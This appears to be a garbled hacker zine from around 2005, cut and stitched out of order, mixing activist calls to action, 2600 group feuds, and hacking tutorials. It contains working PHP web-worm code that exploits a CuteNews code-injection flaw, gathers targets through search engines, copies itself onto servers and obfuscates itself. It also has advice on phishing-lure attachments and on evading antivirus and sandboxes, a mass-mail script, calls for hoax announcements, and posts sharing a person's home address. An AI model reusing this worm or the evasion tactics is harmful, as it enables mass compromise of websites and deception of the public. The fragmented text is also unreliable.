[ dismantling the copyright industry ............... disrespec
[-----------------------------------------------------------------
```

"Quantity and quality of P2P technologies are inversely proport numbers of lawsuits issued to stop P2P" - 3rd Monty's Law

We are proposing DisrespectCopyrights.net, a portal to informat serve as a think tank to oppose and subvert the copyright indus encouraging independent media and file sharing alternatives to internet.

* file archives - a collection of independent do-it-yourself ma activism, anarchism, anti-copyright, code, hts, images, legal, and zines. also allows people to upload their own files.
* news feeds - from various sources including the eff, p2pnet, respectp2p, etc.
* wiki - all pages modifiable

We are also looking for flash designers to parody the content a official MPAA site RespectCopyrights.org, twisting their langua encourage piracy.

BECOME A TRAFFICKER OF ILLEGAL INFORMATION
or: HOW I LEARNED TO STOP WORRYING AND

FreeJeremy.net .org .info and lock them out, and point them to
and maybe grab the .net and .org

If Jeremy doesn't update the whois information, the registar w
domain and as it stands there is 247 links back on MSN and 42
Kinda hard to get your message out if your domain is gone, and
marketable domains are owned by anonymous parties.

Well, Saturday morning, after bailing from the post-meet break
did a quick drive-by of Casa-de-Anarchy.... About a block and
90/94 on the North side of thestreet. As in the picture on hi
pair of satellite dishes hangning off the porch structure.

Maybe on my way to GenCon, I'll get some reconnaissance photos
1908 South Canalport / Chicago, IL 60608 I'm sure we can think
appropriate to do with this data.

> * Give Security Office of Union Station issue of Chicago Rea
I was planning on doing that this week, the Amtrak police are
defacto security there, something to the effect that the Chica
planning to meet there, but there is one bad apple hell bent o
here is the Chicago Reader article, any additional questions I
can try the Chicago office of the FBI.

> * Contact "ThePlanet.com" Re: Whois information for FreeJerm
I already have a mail out to them, I will be mailing ICANN ton
things up a little.

From: narc <narc> To: BAWLS@CHICAGO2600.NET
Aug 22 Subject: Re: :: A call for arms ::

Look, Narc makes a lot of valid points, but we're not talking
were talking about the media. This is about image, presentabil

II) Efficiency

Doing what it is designed for is of course extremely important.
it would be taking down a website, or for spyware it would be m
habits.

III) Stealth

Not being detected by AV's is crucial in surviving. If malware
soon becomes unusable and dies.

1->2) Survival Theory

I) Spreading

Spreading can be done in many ways. As described in 0->2, malwa
many propagation forms. Very important when spreading is a part
social-engeneering. Sending a mass-mail like:

----------start of mail---------------------

Subject: dfjadsad

Body: Hi, open the attachment

Attachment: blah.exe

--------end of mail---------------------

wouldn't attact many people. It is boring. A mail like this how

----------start of mail---------------------

Subject: Your Credit Card has been charged

Body:
Dear recipient@provider.com,

Your purchase of the $1000 bodyset-deluxe was sucessfull, your
been charged accordingly, check
the attachment for details.

Yours sincerly,

The E-Bay team.

Attachment: Details.doc.exe

--------end of mail---------------------

would attract more people, they would be eager to see what has
nobody wants to be
charged for something they haven't bought.

This goes for the P2P way too, files like StarWars - Revengeof
spread faster than blah.exe.
Also, most people feel more secure if a file is zipped. Well,
zip-component in your malware, to zip it everytime it replicat
difficult.

II) Efficiency

There always needs to be a delicate balance between spreading,
efficiency. Spreading like mad will get your malware very far,
detected in a matter of hours, making it obsolete, while extre
keep your malware undetected for years, but it won't infect mo
Being efficient totally depends on your goals.

It was brought to my attention that a one Jeremy Hammond decide
at your place of business to openly express a vulnerability he
public Internet Relay Chat (IRC) channel. Due to recent encount
young man, I have learned to question any motives of his to dis
information, and as such, decided to contact you. Also, as I wa
locate you, I also uncovered that Jeremy has been using his ema
personal business to talk on public boards (Indymedia.org, Chic
and HackThisSite.org came up as initial results).

Upon further analysis of the situation, I also noted that Jerem
webmaster for Macspecialist.com. As someone who is a known comp
(ProtestWarrior, CUGNet, Chicago2600.net, and others that wish
have all been illegally accessed by Jeremy Hammond), I question
webmaster and further express concern for Macspecialist as a wh

Contained below is the IRC log of the events that transpired. I
Jeremy. Server: irc.chicago2600.net Channel: #chicago2600

From narc <narc@narc.com> To: radicaledward@chicago2600.net
Sept 6: FBI here TODAY. 3:00 P.M. chi2600
narc, if you wanna come, gimme a ring at XXX-XXX-XXXX ext XXX
I'll get you directions here.

From: narc <narc@narc.com> To: bawls@chicago2600.net
Sept 14 Subject: Re: Guess who went to jail again...
I just sent a very misspelled note in broken english/french to
out where the Hackbloc shindig is, with any luck he'll reply an
info to Chicago Police Intelligence to have a little 'special'
pad the Indymedia comments later tonight.
- narc

From: narc <narc@narc.com> To: bawls@chicago2600.net
Aug 23 Subject: Re: Domain fyi
If its in the slush fund, buy the remaining domains, but I'd re

* Moved meetings to a private location where they have banned s
with threats of going to the police

When approached about these violations, the administrators mai
is not a democracy" and that they can run their "private compa
choose. In addition to breaking a number of 2600 conventions,
egotistical, authoritative philosophy undermines the open demo
hacking.

Like many other hacking groups, 2600 has counter-culture roots
embraced dissenting opinions. 2600 has also recognized that ha
inherantly political, and how free technology can be used to d
rights and free speech. The Fifth HOPE was held in NYC a month
Republican National Convention came to town and had a number o
presentations covering independent media, the free software mo
speech talking about civil disobedience at the upcoming RNC pr

2600 has created a set of national guidelines in order to keep
organized around the principles of freedom and democracy and t
power-hungry administrators to abuse the rest of the group.

"Remember that meetings are open to all as per the meeting gui
meeting CANNOT be "sponsored" by anyone or it's not a 2600 mee
appearing to be a tight knit group as this will only discourag
new attendees. It also would be inaccurate - meetings are no m
they are anybody else's. Similarly, your site should only focu
itself, not activities outside of or after the meeting. If you
the cool people wind up doing one thing while the non-cool peo
else, you're creating divisions and factions that have no plac
same reason, we strongly discourage any kind of content that m
any attendee(s)."

On Aug 29, 2005, at 10:46 AM, narc <narc@narc.com> wrote:

III) Stealth

Malware has many enemies, here are some of them:

a) AV's
b) Firewalls
c) AV researchers

fooling AV's isn't too dificult, sometimes switching two or thr
enough to fool them, but your virus will get detected again and
nope.
So you need to protect your malware from AV's. Thus
encryption,Oligomorphism,Polymorphism and Metamorphism are born
cryptographers out there, let go of the classic idea of encrypt
encryption is something different. Encryption,Polymorphism,Olig
Metamorphism for executables is only possible in assembly, so s

Fooling firewalls can also be done quite easily, just terminate
Although this is quite rude and unsubtle, it is effective. A mo
adding your program to their trustedprogram-list.

Fooling an AV researcher can be quite difficult. They will disa
virus, Emulate it's code and Sandbox it. Making your virus extr
with long loops and jumps will keep them from fully understandi
disassembly. Stopping Emulation is quite difficult, you would h
your code is being emulated by making a change, and checking if
really has been applied, if not, you are being emulated. Sandbo
tehcnique that involves putting your virus in a virtual machine
baitfiles to see what it does. This could be overcome by checki
Virtual Pc, etc. I will give details later.

2) Code Practice.

Before starting this section I assume the reader is familiar wi

programming theory,viral theory and several (script)languages,
c++,Pascal,Vbs,Js, batch and some assembler would help too. Al
examples will be in 16-bit assembler, since these are mainly f
purposes, their outdated nature will nearly automatically SK-P
anyone familiar with 16/32- bit assembler can convert the exam
win32 platform.
This section will contain viral code. I am not responsible for
by any of these programs, nor do I promote releasing them. I h
Code Practice in several sections as follows:

I) Simple Exe Virii
II) Batch Virii
III)Script Virii
IV) Moderate ExeVirii/Worms
V) Concept Virii

(Sample code can be found online at http://www.hackthissite.o

[---
[proxy chaining, tunnelling and tor................ by outth
[---

The creation of anonymous networks like Tor based on assymetri
cryptography and onion routers do make traditional proxy servi
old fashioned, but traditional anonymous proxy services are st
for IRC, jump boxes, and general internet tomfoolery, despite
honeypots.

A proxy is a piece of software that makes requests on behalf o
remote resources. This article goes into short, practical summ
prevelent proxy protocols available accross the internet. Auth
identification procedures are mostly ignored, since open proxi
and to keep the article short and practical.

today. "It's phony, and we have referred it to the FBI," said C
Noelle Gaffney. The e-mail, headlined "Riders Don't Pay, Worker
did not originate with the CTA, and there will be no fare holid
said.

[---
[black and white chicago 2600 ....
[---

After an invitation to test the security of several of their sy
proceeded to root each of them and showed them how it was done
time they were curious and interested as to how their systems w
After Jeremy's place was raided by the FBI, the white hats got
their true colors, starting to call us 'cyber-criminals' and 'e
vandals' and started to work with the FBI and ProtestWarrior to
harass, and incriminate members of our group. By aiding the for
destroy the hacking movement, Chicago "2600" has lost all credi
public hacking group.

Over a period of months, several self-appointed Chicago 2600 ad
acted in ways which endanger other hackers, abuse their power,
undermine the spirit of hacking in general.

* Turned over logs and other information to narc to people's bo
successful intent to get people fired.
* Has worked with law enforcement to provide testimony and free
surveillance to aid the FBI's chances of conviction as well as
right-wing group ProtestWarrior to do counter-intelligence and
campaigns
* Repeatedly censor and prevent people from posting to the publ
when they don't agree with the posts or want to hide some of th
doing.
* Run a secret email list for those who "make the real decision
group", which they have used to badmouth and conspire against o

```
}
fclose($handle); ?><br><br>done altogether!
```

"France's Youth Battles Also Waged on the Web"
Washington Post, November 10, 2005

While riot police are attempting to curb the gangs that have b
to cars and buildings in France's poor suburban communities fo
weeks, French officials have only just begun the struggle to c
amorphous battleground: cyberspace.

Internet blogs have become so vicious and intense that police l
investigations against two teenagers for inciting violence on
station-sponsored blogs. Hackers took over the Web site of the
suburb of Clichy-sous-Bois, where the first violence began Oct
dispatched thousands of fake e-mails announcing the mayor's re
gangs have used text messaging on their cell phones as early w
alert members about the movements of riot police during operat
communities, gang members said in interviews.

"CTA asks feds to probe e-mail hoax"
Chicago Tribune, December 14th 2004

The Chicago Transit Authority today asked the FBI to investiga
to media outlets early this morning, falsely announcing free C
public on Wednesday.

The so-called press release went out under CTA President Frank
was received by the Tribune and other news media at 3 a.m. It a
pending service cuts, and "in the spirit of the holidays" anno
Free Travel" on buses and trains beginning 5 a.m. Wednesday.

Nothing could be further from the truth, officials of the tran

=== CGI Proxies ===
CGI proxies simply fetch web pages and occasionally FTP or othe
user-supplied input, which is usually just a GET variable. For
  http://foo.bar/p.php?url=http://www.hackthissite.org/
The reliability and transfer rates of these services are often
can be easily strung together directly from the URL in many cas
  http://foo.bar/p.php?url=http://bar.foo/url.cgi?u=http://www.
Many language translators also function in this capacity, but u
often send an X-Forwarded-For header identifying the sender's I

=== HTTP Proxies ===
HTTP Proxies are pretty simple. The client sends a regular HTTP
proxy server with an absolute URI. Therefore, what would normal

```
  GET / HTTP/1.1
  Host: www.hackthissite.org
```

when connecting directly to the hackthissite.org server becomes

```
  GET http://www.hackthissite.org/
  Host: www.hackthissite.org
```

when connecting through a proxy. A blank line after the last he
the end of the request (unless a Content-Length has been specif
typical for a POST). The request then goes right on through as
destination had been directly connected to. Easy.

Unfortunately, some http proxies are configured to send certain
identifying information to the remote systems.
  * Transparent proxies send the client IP address in the X-For
    header and other headers affirming the use of a proxy serve
  * Anonymous proxies send out headers stating that the server
    don't send out the client's IP address.
  * High anomnity, or "elite" proxies don't send out any inform
    identifies the service as a proxy to the destination.

=== HTTP CONNECT ===
Connect proxies were created as an extension to HTTP proxies a
establishing persistent connections for protocols such as IRC.
relatively simple as well. For instance:

```
  CONNECT irc.hackthissite.org:6667 HTTP/1.1
```

will establish a connection to the HTS IRC server on port 6667
reply with an HTTP-formatted status message, and if the reques
data can be sent and received freely. Because connect is an ex
HTTP protocol, adding extra lines like a Host or a User-Agent
fine, but for most purposes is unnecessary.

=== SOCKS4 ===
Socks4a is an extension to the original socks4 to provide DNS
proxy side. First, the client sends a request like so:

```
  * \x04 - socks4 version identifier
  * \x01 - command; 1 is connect
  * \x00\x50 - port expressed as 16 bit big endian: \x00\x50 w
      In Perl, pack("n", $port) will convert the integer $port
      endian.
  * \xc0\xa8\x06\x47 - 4 bytes specifying the destination IPv4
      bytes shown would equate to 192.168.6.71. Use \x00\x00\x
      proxy is to do the DNS lookup itself. (Any non-zero for
      will do.)
  * rawr\x00 - null-terminated USERID string, these are occasi
      IP addresses or IDENT replies as a primative form of aut
      rarely. Most of the time this string is ignored, so put
  * hackthissite.org\x00 - null-terminated domain name, just a
      valid IP was provided earlier
The socks4 server then sends a reply like so:
  * \x00 - version of the reply code, should always be 0
  * \x5A - request granted
    OR \x5B - rejected or failed
    OR \x5C - rejected because can't connect to identd on the
```

coordinate with other national actions, events, protests. find
will already be on people's mind and add fuel to the flames.

cause electronic disruption: announce a phony mayor resignation
boss announcing raises for everybody, give people discounts for
internet or public transit services.

make mass announcements to mainstream and independent media to
actions. write a well formatted press announcement look up and
or other members of the press. mass communication(gather media
mass emails, post to indymedia, upload files to p2p networks, f
other popular archive sites.

cover your tracks, never use the same name twice, don't comprom
hats or sellouts, embrace a diversity of tactics, have fun and

Mass Mail Script: drop on a box and create a newline-seperated
emails to major newspapers, televiion and radio stations, congr

```
<?php
$fromemail = "Name Here <never@guess>";
$subject = "insert subject here!";
$message = "insert\nmessage\nhere!";
$handle = fopen("emails.txt", "r");
while (!feof($handle)) {
  $buffer = fgets($handle, 4096);
  if ($buffer != "" AND $buffer != "\n") {
    echo "Send to $buffer...\n";
    $a = mail ($buffer, $subject, $message, "From: $fromemail")
    if ($a == false) echo "<font color=\"red\">Bad!</font> \n";
    echo "Done.<br>";
  }
```

blacklisted and killing the worm. inurl might find a lot of pa
works as well. Consider randomizing the user-agent of your htt
integrating multiple search engine support to keep them confus
duration of the worm.

Develop methods of communicating with past and future iteratio
feeding it locations of attacked boxes. A decentralized method
communication can also help the worm adapt itself by discoveri
exploits or being fed new attack vectors.

**** Final Words ****
World Cant Wait was developed as a simple proof-of-concept in
writing web based worms that spread through vulnerable php scr
worm code was not designed to trash systems (the above code wo
without some modification) the concepts can be used to deliver
payloads. Script kiddie worms have in the past been used to ga
harvest passwords, or ddos major systems, while others have ac
patched the security hole of the vulnerable software. Others a
idea of making mass amounts of posts on guestbooks, blogs, and
google bomb and manipulate google and other spidering systems.
are endless, and the real genius is in creativity.

Most people interested in advanced coding exercises such as wr
motivated by the challenge of actually developing efficient co
art of gathering targets and exploiting them. There is no grea
beautiful coding exercise for efficiency and complexity than c
if writing code can be considered a criminal act in the eyes o
interest in this beautiful art has been around for decades and
remain a part of hacker culture as long as we are able to deve
secure and responsible way.

```
[-----------------------------------------------------------
[ creating national media stunts ...........................
[-----------------------------------------------------------
```

    OR \x5D - rejected because identd and the client report dif
  * \x00\x50 - destination port, ignore
  * \xc0\xa8\x06\x47 - destination IP, ignore

After these steps write directly to the socket as if the client
connected.

=== SOCKS5 ===
Sock5 was developed to provide both UDP and TCP, strong authen
and IPv6 from the ground up. First off, the client sends a vers
identifier/method selection message:

  * \x05 - socks5 version identifier
  * \x01 - number of methods to try; for our purposes, one will
  * \x00 - methods; \x00 is no authentication required

The server will then reply:

  * \x05 - socks5 version identifier
  * \x00 - selected method; if this is \xff then the client mus

If everything went well, the client then sends a socks5 request

  * \x05 - socks5 version identifier
  * \x01 - command (\x01 for connect)
  * \x00 - reserved, leave null for now
  * \x01 - address type, \x01 for IPv4
    OR \x03 - for a domain name
    OR \x04 - for IPv6
  * \xc0\xa8\x06\x47 - 4 octets specifying the address for IPv4
    OR 16 octets for an IPv6 address
    OR 1 byte specifying the string length then the domain name
  * \x00\x50 - destination port, \x00\x50 is port 80

The server replies with:

  * \x05 - socks5 version
  * \x00 - reply field, \x00 for successful
    OR \x01 for general socks server failure
    OR \x02 for connection not allowed
    OR \x03 for network unreachable
    OR \x04 for host unreachable

```
    OR \x05 for connection refused
    OR \x06 for time to live expired
    OR \x07 for command not supported
    OR \x08 for address type not supported
    OR \x09 to \xff for unassigned
  * \x00 - reserved, always \x00
  * \x01 - address type, same values as in request
  * \xc0\xa8\x06\x47 - bound address
  * \x00\x50 - bound port, doesn't really matter for a connect
```

Then the transaction continues as if the client were directly

=== Chains, Final Notes ===
For added anomnity, multiple proxies can be strung together in as chaining. In proxy chains, the client instructs proxy serve subsequent proxy servers until the destination. This technique improve anomnity, but may decrease throughput and increase lat

Interestingly, Tor is nothing more than a socks4a proxy servic client is concerned, which brings in the possibility of using as just another link in a chain. Extending Tor exit nodes with also opens up the possibility of getting around Tor restrictio networks while maintaining encryption and anomnity, as it is m block Tor than to block the massive number of open proxies on especially those on non-standard ports.

Reader, beware. Many proxies are run by phishers, over-zealous administrators, or law enforcement agencies that log everythin than one layer of anomnity and never send unencrypted personal information through public proxy servers.

http://proxy-glue.sourceforge.net/

[---
[tunnelling and tor ....

similarities. In addition to changing the names of variables in can also express values of numbers and strings in different way

```
$random++;               ->       $random+= -2 + 3;
$start = "go";           ->       $start = chr(103) . chr(111);
$num = count($result);   ->       $num = sizeof($result);
```

The following bit of code published in 29a rewrites the source variable names.

```
<?php
$changevars=array('changevars', 'content', 'newvars', 'counti',
'trash');
srand((double)microtime()*1000000);
$content=fread(fopen(__FILE__,'r'),filesize(__FILE__));
$counti=0;
while($changevars[$counti]) {
  $content=str_replace($changevars[++$counti], trash('',0), $co
}
fwrite(fopen(__FILE__,'w'),$content);

function trash($newvar, $countj) {
  do { $newvar.=chr(rand(97,122)); } while (++$countj<rand(5,15
  return $newvar;
}
?>
```

Randomizing data sent in the http request, making it less predi include and choose a random user-agent making it look like real can adjust the actual POST data so that they aren't all using t for each form name (like the above cutenews example).

If your worm depends on a search engine like google to gather t be worth considering diversifying your queries as to reduce the looking at the returned URLs.

```
  $fp = fsockopen("google.com", "80");
  fwrite($fp, "GET /search?q=" . urlencode($query) .
"&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8&cl
=org.mozilla:en-US:official HTTP/1.1\r\n
Host: www.google.com\r\n
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en
Gecko/20050511/1.0.4\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Connection: close\r\n\r\n");
  while (!feof($fp) AND (strpos($text, "2005 Google") === fals
    $text.= fgets($fp);
  }
  fclose($fp);

  while (!(strpos($text, "<a href=\"http://") === false)) {
    $starttext = substr($text, strpos($text, "<a href=\"http:/
    $thenumber = substr($starttext, 0, strpos($starttext, "\""
    $text = str_replace("<a href=\"$thenumber\">", "x", $text)
    if (strpos($thenumber, "google") === false) $vuln[] = $the
  }
  print_r($vuln);
```

**** Evading IDS, Polymorphism, and Communication ****
You can adjust the source of the program on the fly by making
replaces in the code for each new iteration of the worm. PHP a
have several function aliases that can be swapped to produce t
Consider adding extroneous PHP code as trash to confuse file s

[--

Tor is the Onion Routing Protocol, a project being developed by Freedom Frontier (EFF) for anonymity and privacy protection on breaks up your packets and spreads them over the entire Tor net to end points around the world, where they are reassembled and intended destination. Tor can be used to protect your identity the web, chatting, or when doing super fun no-no stuffs ;D.

First, install Tor. Tor is available from the EFF, at tor.eff. on your OS of choice. You'll also probably want Privoxy, instr configuring your HTTP Proxy (privoxy) to use a SOCKS proxy (tor website.

To use Tor to anonymize your web browsing, open your browsers p If you're using both Tor and Privoxy you'll want to point your localhost, port 8118. If you're using Firefox, you'll want to c says "Use the same proxy for all protocols." If you're not usi Tor), set your SOCKS v4 proxy to localhost, port 9050. Check i going to http://whatismyip.com. (a note for Firefox users: the Firefox extension called ProxyButton. It allows you to toggle off quickly from your toolbar. I recommend this extension if y webhacking ;D)

You can set up other applications to route traffic through tor. proxies through localhost port 9050. But sometimes you may wan an application that does not have SOCKS support, that's where s handy. Socat is a useful tool for dealing with socket connecti I've written a quick script, called torbind to handle socat for

```
#!/bin/bash
# Usage: ./torbind [local port] [remote host] [remote port]
socat TCP4-LISTEN:$1,fork SOCKS4A:localhost:$2:$3,socksport=905
```

Say we want to telnet to a remote host over tor. Using socat

```
$ ./torbind 1337 h4x3db0x0r.com 12345&; telnet localhost 1337
Connected to h4x3db0x0r.com port 12345.
Password?:
```

or IRC:

```
$ ./torbind 7000 irc.hackthissite.org 7000&; irssi
/server -ssl localhost 7000
```

You can route any port on local host to any port on any destin
You can figure out how to use this on your own ;D.

Say your hacking on the road. You need to use a library or un
to do some serious buisness. You can't install Tor due to cer
or just due to time. A nice quick n' dirty way of getting ano
is to use an SSH tunnel. Any SSH client can route traffic thr
tunnel to your ssh server. If you have Tor and Privoxy runnin
you can route your traffic out through that. In Linux or MacO
example:

```
user@localhost $ ssh -L12345:localhost:8118 user@remotehost.co
Password:
user@remotehost.com $
```

Back at localhost you can now set your http proxies to localho
will bounce traffic through your ssh session to your server, a
for complete quick anonymity.

In windows, you can set up an SSH tunnel using PuTTY.

In PuTTY Config, under SSH, go to Tunnels and Add a new forwar
source port, like above something arbitrary, say 12345. Desti

the URL to an HTTP GET request to execute itself on another ser

```
$fp = fopen("sekret.txt", "w");
fwrite($fp, file_get_contents($_SERVER['PHP_SELF']));
fclose($fp);
$url = $_SERVER['SCRIPT_URI'];
make_request($domain, "GET /test.php?path=$url HTTP/1.1\r\nHost
$domain\r\nConnection: close\r\n\r\n");
```

Other Infection Method: SQL
Other Infection Method: JavaScript / XSS

**** 3. Target Gathering ****

During the development of the worm, it would be wise to seperat
exploit code from the target gathering code. Test on your own m
LAN using code similar to:

```
function gather_targets() {
  return array("http://localhost/cutenews");
}
```

For the purposes of web based worms, it makes sense to use sear
order to extract potential targets. You can easily write a few
produce URLs to sites running specific software. This can be au
page scraping code to generate an array of targets which can be
worm for infection.

```
  $search = array("inurl:flood.db.php", "\"powered by cutenews
"\"/cutenews/remote_headlines.php\"", "\"powered by CuteNews\"
CutePHP\"",  "inurl:\"/newsarchive.php?archive\"");
  $query = $search[rand(0, count($search)-1)];
```

You can scrape results from major search engines by making HTTP

```
Connection: close
Host: $domain

name=haxitup&mail=&comments=j00+haxed+%3Alaughing%3A&submit=Ad
subaction=addcomment&ucat=&show=

";
```

If we make a couple of these requests, it will write the PHP c
to flood.db.php. Then we can call flood.php from a standard GE
execute the code. Now that we can automate the process of exec
a given server, we can start thinking about some code that wil
worm as well as delivering our payload. This example will copy
code to 'sekret.php' on the vulnerable server, ready to be run
payload at the end of Client-Ip, from running sekret.php to ad
top of news.txt which will make a news post on every vulnerabl
;)

```
$source = str_replace("\$", "\\\$",str_replace("\"", "\\\"",st
"\\\\",file_get_contents($_SERVER['PHP_SELF']))));
...
Client-Ip: <?php \$fp=fopen(\"sekret.php\", \"w\");fwrite(\$fp
\"$source\");fclose(\$fp); ?>\r\n ...
...
for ($i=0;$i<2;$i++) { $bob = make_request($domain, $packet);
make_request($domain, "GET $location/data/flood.db.php HTTP/1.
$domain\r\nConnection: close\r\n\r\n");
```

Other Infection Method: PHP Inclusion

It is not difficult to automate the process of PHP include rel
vulnerabilities either. Poorly written PHP scripts commonly ha
similar to <?php include $page; ?>, which is vulnerable in man
remote PHP code execution by passing the URL to a bit of PHP c
variable 'page'. Our worm can copy itself to some place on the

localhost:8118 (for Privoxy, without privoxy, use port 9050, fo
connect to your SSH server, authenticate, and you should be abl
HTTP or SOCKS proxy to localhost, port 12345.

You also configure the unix command line ssh client to bounce t
Install connect.c at /usr/local/bin/connect and add the followi
ssh_config file. Alternatively, you can write shell scripts to
process of alternating between tor ssh and non tor ssh.

```
Host *
ProxyCommand /usr/local/bin/connect -4 -S 127.0.0.1:9050 %h %p
(needs to have /usr/local/bin/connect )

sshtor.sh:
#!/bin/bash
cp /sw/etc/ssh/ssh_config.tor /sw/etc/ssh/ssh_config

sshnontor.sh:
#!/bin/bash
cp /sw/etc/ssh/ssh_config.nontor /sw/etc/ssh/ssh_config
```

```
                                !!!!!!!!!!!!!!!!
                                !!!  ACTION  !!!
                                !!!!!!!!!!!!!!!!
```

```
[------------------------------------------------------------
[ the art of writing a web worm in php .......................
[------------------------------------------------------------
```

**** Introduction *****

This article uses some specific examples from an unreleased wel spread itself through vulnerable php scripts. The worm is call and would post an announcement of the November 2nd Drive Out t protests on thousands of message boards and blog engines. The of a private vulnerability but the techniques described here u disclosed php code execution vulnerability in CuteNews 1.4. We around with automating this exploit to find targets and replic programming exercise while we were toying with the idea of cov in the buildup to the protests to get people to the streets an the movement. In the end we decided that instead of risking le and trashing a bunch of systems, we would strengthen our movem the techniques and release the code in modules to help arm fut revolutionaries.

Although we left some intentional bugs and took portions of th snippets below can be used to build a destructive worm. Recogn implications of getting involved with such actions and don't m the violent and destructive hackers the media tries to paint u and genius of a worm is in writing the code itself, not how ma mess with. So let's get to it, and remember - coding is not a

**** Automation ****

Find a vulnerability and write a self-automated target gatheri exploitation engine. Web based vulnerabilities are predictable targets through search engines fairly easily, and can be explo by forging a series of HTTP requests.

```
while ($stop == false) {
  $list = gather_targets();
  for ($i=0;$i<count($list);$i++) {
    echo " [x] targetting $list[$i]...\n";
    if (!is_infected($list[$i])) infect($list[$i]);
```

```
  }
  $stop = true;
}
```

In order to have a web based worm spread, you need to automate process. This can be done by using PHP's socket functions to es connections to the web server and sending http data. This funct how a PHP script can connect to a server, send data, and return

```
function make_request($domain, $packet) {
  $fp = @fsockopen($domain, 80, $errno, $errstr, 10);
  if (!$fp) return false;
  fwrite($fp, $packet);
  while (!feof($fp)) $text.= fgets($fp);
  fclose($fp);
}
```

Then it is just a matter of forging a proper HTTP request which vulnerability and get it to run a copy of itself on the infecte CuteNews writes information to data/flood.db.php when someone p a news article. You can insert PHP code to this file by passing Client-Ip HTTP header.

```
$packet = str_replace("\n","\n\r",
"POST
$location/example2.php?subaction=showcomments&id=1128188313&arc
&ucat=& HTTP/1.1
Accept: */*\r\nAccept-Language: en
Accept-Encoding: gzip, deflate
Client-Ip: <?php echo \"arbitrary php code to be executed!!\";
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleW
(KHTML, like Gecko) Safari/412.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
```